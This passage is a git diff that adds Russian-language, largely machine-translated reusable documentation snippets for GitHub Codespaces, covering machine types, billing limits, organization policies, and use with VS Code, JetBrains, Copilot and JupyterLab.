-0,0 +1,13 @@ +--- +ms.openlocfilehash: 7c6428ee82232f9609978bbb6f166623b1de6a6c +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148159885" +--- +{% note %} + +**Примечание.** Использование {% data variables.product.prodname_github_codespaces %} с URI JetBrains в настоящее время находится в общедоступной бета-версии и может быть изменено. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/codespaces/codespaces-machine-type-availability.md b/translations/ru-RU/data/reusables/codespaces/codespaces-machine-type-availability.md new file mode 100644 index 000000000000..17450e544e0a --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/codespaces-machine-type-availability.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 32a0269159f5f1556cd96d10ef75915fe84b05c0 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148159874" +--- +Выбор доступных типов машин может быть ограничен рядом факторов. Это может быть политика, настроенная для вашей организации, или минимальная спецификация типа компьютера для репозитория. Дополнительные сведения см. в разделах [Ограничение доступа к типам компьютеров](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types) и [Задание минимальной спецификации для компьютеров codespace](/codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines). diff --git a/translations/ru-RU/data/reusables/codespaces/codespaces-machine-types.md b/translations/ru-RU/data/reusables/codespaces/codespaces-machine-types.md new file mode 100644 index 000000000000..5a1e374e0a8f --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/codespaces-machine-types.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 9e66c56694869bc5479af2930548104fe373ec12 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148160215" +--- +Как правило, codespace можно запускать на нескольких типах удаленных компьютеров. Эти типы машин предлагают выбор спецификаций оборудования в диапазоне от 2 до 32 ядер, хотя полный спектр типов компьютеров может быть не всегда доступен. Каждый тип компьютера имеет свой уровень ресурсов и уровень выставления счетов. Дополнительные сведения см. в статье [Сведения о выставлении счетов за {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces). + +По умолчанию тип компьютера с наименьшими допустимыми ресурсами используется при создании codespace. diff --git a/translations/ru-RU/data/reusables/codespaces/codespaces-monthly-billing.md b/translations/ru-RU/data/reusables/codespaces/codespaces-monthly-billing.md new file mode 100644 index 000000000000..f777e34ac6f2 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/codespaces-monthly-billing.md @@ -0,0 +1 @@ +Costs for {% data variables.product.prodname_github_codespaces %} are always billed monthly, even if your account is otherwise billed annually. diff --git a/translations/ru-RU/data/reusables/codespaces/codespaces-org-policies-note.md b/translations/ru-RU/data/reusables/codespaces/codespaces-org-policies-note.md new file mode 100644 index 000000000000..131a57a1080a --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/codespaces-org-policies-note.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 4b3ff1d54b2c84ce0cf5fcc4c4d58a6071dd0e91 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148106928" +--- +{% note %} + +**Примечание.** Политики Codespace применяются только к пространствам кода, за которые будет выставляться счет вашей организации. Если отдельный пользователь создает codespace для репозитория в организации и организация не платит за него, на это codespace политики не распространяются. Сведения о том, как выбрать, кто может создавать codespace, оплачиваемые вашей организацией, см. в разделе [Включение {% data variables.product.prodname_github_codespaces %} для вашей организации](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization#choose-who-can-create-codespaces-that-are-billed-to-your-organization). + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/codespaces/codespaces-org-policies.md b/translations/ru-RU/data/reusables/codespaces/codespaces-org-policies.md new file mode 100644 index 000000000000..2ba7c25b248e --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/codespaces-org-policies.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: c097c7fd6ab5c53939ac8e01b458aa8331ac347b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147062420" +--- +1. В разделе «Код, планирование и автоматизация» боковой панели выберите **{% octicon "codespaces" aria-label="The codespaces icon" %} {% data variables.product.prodname_codespaces %}** и нажмите кнопку **Политики**. +1. На странице «Политики Codespace» нажмите кнопку **Создать политику**. +1. Введите имя для новой политики. diff --git a/translations/ru-RU/data/reusables/codespaces/codespaces-policy-targets.md b/translations/ru-RU/data/reusables/codespaces/codespaces-policy-targets.md new file mode 100644 index 000000000000..28fb472d34ae --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/codespaces-policy-targets.md @@ -0,0 +1,22 @@ +--- +ms.openlocfilehash: e8ede11f41c2ed51bd768ed5dc10935ca455a514 +ms.sourcegitcommit: 6bc8b888e02cc31ec01464186ed4530889cf2408 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/20/2022 +ms.locfileid: "148101593" +--- +1. Щелкните за пределами диалогового окна, чтобы закрыть его. +1. По умолчанию политика применяется ко всем репозиториям, если вы хотите применить ее только к некоторым репозиториям в организации, щелкните **"Все репозитории** " и выберите " **Выбранные репозитории** " в раскрывающемся меню. + + ![Снимок экрана: выбор "Выбранные репозитории"](/assets/images/help/codespaces/selected-repositories.png) + + Выбрав **выбранные репозитории** , выполните указанные действия. + 1. Щелкните {% octicon "gear" aria-label="The settings icon" %}. + + ![Снимок экрана: значок шестеренки для редактирования параметров](/assets/images/help/codespaces/policy-edit.png) + + 2. Выберите репозитории, к которым будет применяться эта политика. + 3. В нижней части списка репозиториев щелкните **Выбрать репозитории**. + + ![Снимок экрана: выбранные репозитории для этой политики](/assets/images/help/codespaces/policy-select-repos.png) diff --git a/translations/ru-RU/data/reusables/codespaces/codespaces-spending-limit-requirement.md b/translations/ru-RU/data/reusables/codespaces/codespaces-spending-limit-requirement.md new file mode 100644 index 000000000000..d5ea7b294d25 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/codespaces-spending-limit-requirement.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: 7d64df6146c09aa6cd5fc997ccb96022fab29501 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148159232" +--- +{% note %} + +**Примечание:** Перед выставлением счетов за использование {% data variables.product.prodname_github_codespaces %} необходимо установить ненулевую предельную сумму расходов на личную, корпоративную или корпоративную учетную запись. + +{% endnote %} + +По умолчанию для всех учетных записей установлена предельная сумма расходов на {% data variables.product.prodname_github_codespaces %} в размере 0 долл. США. Это предотвратит создание новых codespace или открытие существующих codespace, если это приведет к оплачиваемой стоимости вашей личной, корпоративной или корпоративной учетной записи. Для личных учетных записей всегда можно создать и использовать codespace, если учетная запись не достигла предела ежемесячного использования. Для организаций и предприятий предельная сумма расходов по умолчанию означает, что, чтобы разрешить пользователям создавать codespace, которые выставляются организации или ее родительскому предприятию, ограничение должно быть изменено на значение выше 0 долл. США. diff --git a/translations/ru-RU/data/reusables/codespaces/command-palette-container.md b/translations/ru-RU/data/reusables/codespaces/command-palette-container.md new file mode 100644 index 000000000000..53f4a31e610e --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/command-palette-container.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 9949fdd78ea652843974762c80e62ce2ee02799d +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147076720" +--- +1. Откройте {% data variables.product.prodname_vscode_command_palette %}, нажав сочетание клавиш SHIFT+Command+P (Mac) или CTRL+SHIFT+P (Windows/Linux), а затем начните вводить строку "контейнер разработки". Выберите **Codespaces: добавление файлов конфигурации для контейнера разработки...** . + + !["Codespaces: добавление файлов конфигурации для контейнера разработки..." в {% data variables.product.prodname_vscode_command_palette %}](/assets/images/help/codespaces/add-prebuilt-container-command.png) diff --git a/translations/ru-RU/data/reusables/codespaces/committing-link-to-procedure.md b/translations/ru-RU/data/reusables/codespaces/committing-link-to-procedure.md new file mode 100644 index 000000000000..f2c40356c0ba --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/committing-link-to-procedure.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: e68113c73b7860f27986aaea34efd62dd5a206a1 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145149399" +--- +После внесения изменений в codespace (добавления кода или изменения конфигурации) понадобится зафиксировать их. Фиксация изменений в репозитории гарантирует, что у любого пользователя, создающего codespace на основе этого репозитория, будет та же конфигурация. Это также означает, что любые настройки, такие как добавление расширений {% data variables.product.prodname_vscode_shortname %}, будут действовать для всех пользователей. + +Дополнительные сведения см. в разделе [Использование системы управления версиями в codespace](/codespaces/developing-in-codespaces/using-source-control-in-your-codespace#committing-your-changes). diff --git a/translations/ru-RU/data/reusables/codespaces/configuration-choice-templates.md b/translations/ru-RU/data/reusables/codespaces/configuration-choice-templates.md new file mode 100644 index 000000000000..9863dd0c5aa5 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/configuration-choice-templates.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 9a7f2eacb54b6133ec322f00ced9c0325747838c +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148159818" +--- +Когда пользователи создают codespace с помощью кнопки **Использовать этот шаблон** в репозитории шаблонов, им не будет предоставлен выбор между конфигурациями. Codespace будет построено на основе конфигурации по умолчанию, определенной в `.devcontainer/devcontainer.json`или в `.devcontainer.json` корне репозитория. \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/codespaces/connect-to-codespace-from-vscode.md b/translations/ru-RU/data/reusables/codespaces/connect-to-codespace-from-vscode.md new file mode 100644 index 000000000000..5552f9468b3f --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/connect-to-codespace-from-vscode.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e3e9f56d2691232ab835cdaaeacb252e80d9a6cb +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148159954" +--- +Можно подключиться к codespace непосредственно из {% data variables.product.prodname_vscode_shortname %}. Дополнительные сведения см. в разделе [Использование Codespace в {% data variables.product.prodname_vscode_shortname %}](/codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code). diff --git a/translations/ru-RU/data/reusables/codespaces/contact-support.md b/translations/ru-RU/data/reusables/codespaces/contact-support.md new file mode 100644 index 000000000000..7de4b2ed4168 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/contact-support.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 3973922016fb606321a8a069933be6191c79dccb +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145113096" +--- +Возможно, будет необходимо обратиться в службу поддержки. Дополнительные сведения см. в разделе [Работа со службой поддержки](/codespaces/troubleshooting/working-with-support-for-codespaces). diff --git a/translations/ru-RU/data/reusables/codespaces/copilot-in-vscode.md b/translations/ru-RU/data/reusables/codespaces/copilot-in-vscode.md new file mode 100644 index 000000000000..37faefb7eb47 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/copilot-in-vscode.md @@ -0,0 +1,17 @@ +--- +ms.openlocfilehash: 56d362df2d0dc32b709c6e6d9cc1b8910ac81be5 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148159842" +--- +[{% data variables.product.prodname_copilot %}](https://copilot.github.com/), помощник при написании кода для ИИ, может использоваться в любом пространстве кода. Дополнительные сведения см. в разделе [Сведения о GitHub Copilot](/copilot/overview-of-github-copilot/about-github-copilot). + +Чтобы начать использовать {% data variables.product.prodname_copilot %} в {% data variables.product.prodname_github_codespaces %}, установите [расширение {% data variables.product.prodname_copilot %} из {% data variables.product.prodname_vscode_marketplace %}](https://marketplace.visualstudio.com/items?itemName=GitHub.copilot). + +Чтобы включить {% data variables.product.prodname_copilot %} или другие расширения во все пространства кода, включите синхронизацию параметров. Дополнительные сведения см. в разделе [Персонализация {% data variables.product.prodname_github_codespaces %} для вашей учетной записи](/codespaces/customizing-your-codespace/personalizing-github-codespaces-for-your-account#settings-sync). Кроме того, чтобы включить {% data variables.product.prodname_copilot %} в данный проект для всех пользователей, можно указать `GitHub.copilot` в качестве расширения в `devcontainer.json` файле. Сведения о настройке файла `devcontainer.json` см. в разделе [Общие сведения о контейнерах разработки](/codespaces/customizing-your-codespace/configuring-codespaces-for-your-project#creating-a-custom-dev-container-configuration). + +## Дополнительные материалы + +- "[Начало работы с GitHub Copilot в Visual Studio Code](/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-visual-studio-code)" \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/codespaces/create-or-switch-branch.md b/translations/ru-RU/data/reusables/codespaces/create-or-switch-branch.md new file mode 100644 index 000000000000..a08b29cf03f3 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/create-or-switch-branch.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 814de4823a80acb0ff07a8b0e5363a7096083d96 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145115363" +--- +1. Если текущая ветвь не отображается в строке состояния, в нижней части кодового пространства щелкните строку состояния правой кнопкой мыши и выберите **Управление версиями**. +1. Выберите имя ветви в строке состояния. +![Ветвь в строке состояния](/assets/images/help/codespaces/branch-in-status-bar.png) +1. В раскрывающемся списке щелкните ветвь, на которую хотите переключиться, или введите имя новой ветви и нажмите **Создать новую ветвь**. +![Выбор ветви в меню](/assets/images/help/codespaces/create-new-branch.png) diff --git a/translations/ru-RU/data/reusables/codespaces/creating-a-codespace-in-vscode.md b/translations/ru-RU/data/reusables/codespaces/creating-a-codespace-in-vscode.md new file mode 100644 index 000000000000..718b66169164 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/creating-a-codespace-in-vscode.md @@ -0,0 +1,38 @@ +--- +ms.openlocfilehash: d8f0e4e19ba362881f261a214aa56666f5902979 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148158584" +--- +После подключения учетной записи в {% data variables.product.prodname_dotcom_the_website %} к расширению {% data variables.product.prodname_github_codespaces %} можно создать новое пространство кода. Дополнительные сведения о расширении {% data variables.product.prodname_github_codespaces %} см. в [{% data variables.product.prodname_vs_marketplace_shortname %}](https://marketplace.visualstudio.com/items?itemName=GitHub.codespaces). + +{% data reusables.codespaces.click-remote-explorer-icon-vscode %} +2. Щелкните значок "Добавить": {% octicon "plus" aria-label="The plus icon" %}. + + ![Параметр Create new Codespace in {% data variables.product.prodname_github_codespaces %}](/assets/images/help/codespaces/create-codespace-vscode.png) + +3. Введите имя репозитория, в котором нужно выполнить разработку, затем выберите его. + + ![Поиск репозитория для создания нового пространства кода](/assets/images/help/codespaces/choose-repository-vscode.png) + + Если выбранный репозиторий принадлежит организации и организация настроила codespaces для этого репозитория, который будет выставлен на счет организации или ее родительского предприятия, в последующих запросах будет отображаться сообщение о том, кто будет платить за codespace. + +4. Щелкните ветвь, в которой нужно выполнить разработку. + + ![Поиск ветви для создания нового пространства кода](/assets/images/help/codespaces/choose-branch-vscode.png) + +5. Если появится запрос на выбор файла конфигурации контейнера разработки, выберите файл из списка. + + ![Выбор файла конфигурации контейнера разработки для {% data variables.product.prodname_github_codespaces %}](/assets/images/help/codespaces/choose-dev-container-vscode.png) + +6. Щелкните тип компьютера, в котором нужно выполнить разработку. + + ![Типы экземпляров для нового пространства кода](/assets/images/help/codespaces/choose-sku-vscode.png) + + {% note %} + + **Примечание**. {% data reusables.codespaces.codespaces-machine-type-availability %} + + {% endnote %} diff --git a/translations/ru-RU/data/reusables/codespaces/customize-vcpus-and-ram.md b/translations/ru-RU/data/reusables/codespaces/customize-vcpus-and-ram.md new file mode 100644 index 000000000000..b1d457d50888 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/customize-vcpus-and-ram.md @@ -0,0 +1,5 @@ +You can customize your codespace by adjusting the amount of vCPUs and RAM, adding dotfiles to personalize your environment, or by modifying the tools and scripts installed. For more information, see "[Customizing your codespace](/codespaces/customizing-your-codespace)." + +{% data variables.product.prodname_github_codespaces %} uses a file called `devcontainer.json` to configure the development container that you use when you work in a codespace. Each repository can contain one or more `devcontainer.json` files, to give you exactly the development environment you need to work on your code in a codespace. + +On launch, {% data variables.product.prodname_github_codespaces %} uses a `devcontainer.json` file, and any dependent files that make up the dev container configuration, to install tools and runtimes, and perform other setup tasks that the project requires. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)." diff --git a/translations/ru-RU/data/reusables/codespaces/deleting-a-codespace-in-vscode.md b/translations/ru-RU/data/reusables/codespaces/deleting-a-codespace-in-vscode.md new file mode 100644 index 000000000000..4cf90e36583c --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/deleting-a-codespace-in-vscode.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: bfb62ebffa46a438d488de2cb8d88ea4b1cc6a4d +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145149687" +--- +Можно удалить среды codespace из {% data variables.product.prodname_vscode_shortname %}, если в настоящее время не работаете в среде codespace. + +{% data reusables.codespaces.click-remote-explorer-icon-vscode %} +1. В разделе "GITHUB CODESPACES" щелкните правой кнопкой мыши среду codespace, которую хотите удалить. +1. Нажмите кнопку **Удалить codespace**. + + ![Удаление кодового пространства в {% data variables.product.prodname_dotcom %}](/assets/images/help/codespaces/delete-codespace-vscode.png) diff --git a/translations/ru-RU/data/reusables/codespaces/developing-in-vscode.md b/translations/ru-RU/data/reusables/codespaces/developing-in-vscode.md new file mode 100644 index 000000000000..04571a7b4802 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/developing-in-vscode.md @@ -0,0 +1,26 @@ +--- +ms.openlocfilehash: 71aea4a0d9c72885e56e7aef5a20b36bf817fec5 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148160061" +--- +### Настройка codespace для репозитория + +Вы можете настроить codespace, созданные для репозитория, создав или обновив конфигурацию контейнера разработки для репозитория. Это можно сделать из codespace. После изменения конфигурации контейнера разработки можно применить изменения к текущему пространству кода, перестроив контейнер Docker для codespace. Дополнительные сведения см. в статье [Общие сведения о контейнерах разработки](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers). + +### Персонализация codespace + +Вы можете использовать репозиторий [файлов с точками](https://dotfiles.github.io/tutorials/) и [синхронизацию параметров](https://code.visualstudio.com/docs/editor/settings-sync) для персонализации аспектов среды codespace для любого создаваемого пространства codespace. Персонализация может включать параметры оболочки и дополнительные средства. Дополнительные сведения см. в разделе [Персонализация {% data variables.product.prodname_codespaces %} для вашей учетной записи](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account). + +### Запуск приложения из codespace +{% data reusables.codespaces.about-port-forwarding %} Дополнительные сведения см. в статье [Переадресация портов в codespace](/github/developing-online-with-codespaces/forwarding-ports-in-your-codespace). + +### Фиксация изменений + +{% data reusables.codespaces.committing-link-to-procedure %} + +### Использование {% data variables.product.prodname_vscode_command_palette %} + +{% data variables.product.prodname_vscode_command_palette %} позволяет получать доступ к различным функциям {% data variables.product.prodname_codespaces %} и {% data variables.product.prodname_vscode %} и управлять ими. Дополнительные сведения см. в разделе [Использование {% data variables.product.prodname_vscode_command_palette %} в {% data variables.product.prodname_codespaces %}](/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces). \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/codespaces/edit-devcontainer-json.md b/translations/ru-RU/data/reusables/codespaces/edit-devcontainer-json.md new file mode 100644 index 000000000000..f6c0576751a6 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/edit-devcontainer-json.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 363a170cc5f062ac400e868eb920e1e035ac8fd8 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148159144" +--- +1. {% data variables.product.prodname_github_codespaces %} для репозитория можно настроить в `devcontainer.json` файле. Если репозиторий `devcontainer.json` еще не содержит файл, его можно добавить. См. [Добавление конфигурации контейнера разработки в репозиторий](/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces). \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/codespaces/ellipsis-settings.md b/translations/ru-RU/data/reusables/codespaces/ellipsis-settings.md new file mode 100644 index 000000000000..8ef4b5bbe8f4 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/ellipsis-settings.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 75753ebc255f17a624038305d5146e1eaeae0215 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148159845" +--- +1. Щелкните многоточие ( **...** ) справа от среды codespace, которую нужно изменить. \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/codespaces/exporting-changes.md b/translations/ru-RU/data/reusables/codespaces/exporting-changes.md new file mode 100644 index 000000000000..f7e2314ce6da --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/exporting-changes.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 63705338500bed176d013288ee7b091e593300ec +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148158608" +--- +Если ваша личная, корпоративная или корпоративная учетная запись достигнет предельной суммы расходов, вы больше не сможете создавать или возобновлять codespace, которые оплачиваются для этой учетной записи. Тем не менее, вы по-прежнему можете экспортировать все внесенные изменения в новую ветвь. Дополнительные сведения см. в разделе [Экспорт изменений в ветвь](/codespaces/troubleshooting/exporting-changes-to-a-branch). diff --git a/translations/ru-RU/data/reusables/codespaces/forwarded-ports-environment-variable.md b/translations/ru-RU/data/reusables/codespaces/forwarded-ports-environment-variable.md new file mode 100644 index 000000000000..dd639e06ae9b --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/forwarded-ports-environment-variable.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 8e7320dbbe922cd2d53e2f342007740d7b27c351 +ms.sourcegitcommit: 43a959b8faf78d9c5b3deadffa079d24cd11650b +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/04/2022 +ms.locfileid: "148134767" +--- +Домен {% data variables.product.prodname_dotcom %} использует для переадресации портов, может время от времени меняться. Если вы ссылаетесь на переадресованный порт в коде, например в тесте, рекомендуется использовать переменную среды вместо жесткого кодирования URL-адреса. Дополнительные сведения см. в разделе [Переменные среды по умолчанию для codespace](/codespaces/developing-in-codespaces/default-environment-variables-for-your-codespace#list-of-default-environment-variables). diff --git a/translations/ru-RU/data/reusables/codespaces/gpg-in-active-codespaces.md b/translations/ru-RU/data/reusables/codespaces/gpg-in-active-codespaces.md new file mode 100644 index 000000000000..e6a294b2e064 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/gpg-in-active-codespaces.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 9f5ba15be4cbdf524f825469d291bd3df970f974 +ms.sourcegitcommit: 47e03737d09bed84dfedb7be5924d893d34ea1a8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/16/2022 +ms.locfileid: "148167115" +--- +После включения проверки GPG она автоматически войдет в силу во всех новых пространствах кода, создаваемых из соответствующих репозиториев. Чтобы проверка GPG вступила в силу в существующем активном пространстве кода, необходимо остановить и перезапустить codespace. Дополнительные сведения см. в разделе [Остановка и запуск codespace](/codespaces/developing-in-codespaces/stopping-and-starting-a-codespace). \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/codespaces/jetbrains-open-codespace-plugin.md b/translations/ru-RU/data/reusables/codespaces/jetbrains-open-codespace-plugin.md new file mode 100644 index 000000000000..de023f01e88f --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/jetbrains-open-codespace-plugin.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: f9f3e238032c9256fa1d6e5432c79e2736a5a30a +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148160199" +--- +1. В клиенте JetBrains щелкните подключаемый модуль {% data variables.product.prodname_github_codespaces %}, чтобы отобразить окно инструментов {% data variables.product.prodname_github_codespaces %}. + + ![Снимок экрана: окно инструментов {% data variables.product.prodname_github_codespaces %}](/assets/images/help/codespaces/jetbrains-codespaces-tool-window.png) diff --git a/translations/ru-RU/data/reusables/codespaces/jupyterlab-in-default-image.md b/translations/ru-RU/data/reusables/codespaces/jupyterlab-in-default-image.md new file mode 100644 index 000000000000..cdde63a4ccb6 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/jupyterlab-in-default-image.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: c3900e59c91a3d0afd192b5ff948b612bfe0ba64 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148160053" +--- +Образ контейнера по умолчанию включает JupyterLab, поэтому в codespace, созданных из образа по умолчанию, всегда будет установлен JupyterLab. Дополнительные сведения об образе по умолчанию см. в разделе [Общие сведения о контейнерах разработки](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#using-the-default-dev-container-configuration)и [Репозиторий `devcontainers/images`](https://github.com/devcontainers/images/tree/main/src/universal). Если вы не используете образ по умолчанию в конфигурации контейнера разработки, можно установить JupyterLab, добавив компонент в `ghcr.io/devcontainers/features/python` `devcontainer.json` файл. Необходимо включить параметр `"installJupyterlab": true`. Дополнительные сведения см. [в файле сведений о `python` функции](https://github.com/devcontainers/features/tree/main/src/python#python-python) в репозитории `devcontainers/features` . \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/codespaces/jupyterlab-installed-in-codespace.md b/translations/ru-RU/data/reusables/codespaces/jupyterlab-installed-in-codespace.md new file mode 100644 index 000000000000..63b3f7044b85 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/jupyterlab-installed-in-codespace.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 1e6e9e375bb024561c279007909ab7a46f47b8a9 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148160112" +--- +Приложение JupyterLab должно быть установлено в открываемом пространстве кода. {% data reusables.codespaces.jupyterlab-in-default-image %} \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/codespaces/links-to-get-started.md b/translations/ru-RU/data/reusables/codespaces/links-to-get-started.md new file mode 100644 index 000000000000..639f1ad2006f --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/links-to-get-started.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b942594848833f5ccdeba0f4f6388e463591eac6 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148158952" +--- +Чтобы приступить к работе с {% data variables.product.prodname_github_codespaces %}, см. [статью Краткое руководство по {% data variables.product.prodname_github_codespaces %}](/codespaces/getting-started/quickstart). Дополнительные сведения о создании codespace см. в [разделах Создание codespace для репозитория](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository) или [Создание codespace на основе шаблона](/codespaces/developing-in-codespaces/creating-a-codespace-from-a-template). Если вы хотите вернуться к уже созданному codespace, см. раздел [Открытие существующего пространства 